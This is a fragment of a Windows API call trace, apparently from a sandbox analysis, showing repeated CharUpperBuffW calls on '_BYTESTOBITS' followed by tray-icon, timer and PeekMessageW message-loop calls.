lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.541] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.541] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.541] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.541] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.541] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.541] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.541] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.542] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.542] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.542] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.542] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.542] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.542] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.542] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.542] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.543] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.544] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.545] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.545] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.546] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.547] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.547] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.547] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.548] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.548] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.549] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.550] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.550] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.551] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.551] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.552] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.553] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.553] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.553] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.553] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.553] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.554] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.554] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.554] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.554] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.554] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.554] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.554] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.554] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.555] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.555] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.555] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.555] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.555] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.555] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.555] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.555] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.555] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.555] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.556] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.556] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.556] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.556] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.556] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.556] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.556] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.556] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.557] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.557] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.557] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.557] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.557] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.557] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.557] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.557] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.557] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.558] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.558] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.558] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.558] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.558] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.558] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.558] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.559] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.559] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.559] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.560] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.560] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.560] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.560] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.560] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.560] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.560] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.561] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.561] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.561] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.562] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.562] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.562] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.562] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.562] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.562] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.562] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.562] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.562] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.563] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.563] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.563] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.563] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.563] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.563] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.563] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.563] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.563] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.564] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.564] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.564] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.564] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.564] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.564] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.564] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.564] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.565] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.565] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.565] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.565] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.565] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.565] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.565] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.565] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.565] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.566] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.566] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.566] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.566] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.566] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.566] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.566] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.566] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.227] Shell_NotifyIconW (dwMessage=0x1, lpData=0xa96acaec50) returned 1 [0043.228] KillTimer (hWnd=0x8002c, uIDEvent=0x1) returned 1 [0043.228] SetTimer (hWnd=0x8002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0043.228] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.228] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.228] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.228] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.228] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.228] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.228] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.229] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.229] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.229] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.229] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.229] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.229] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.229] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.229] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.229] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.230] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.230] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.230] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.230] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.230] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.230] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.230] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.230] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.231] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.231] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.231] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.231] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.231] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.231] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.231] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.231] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.232] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.232] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.232] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.232] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.232] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.232] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.232] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.232] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.233] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.233] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.233] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.233] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.233] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.233] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.233] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.233] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.233] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.234] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 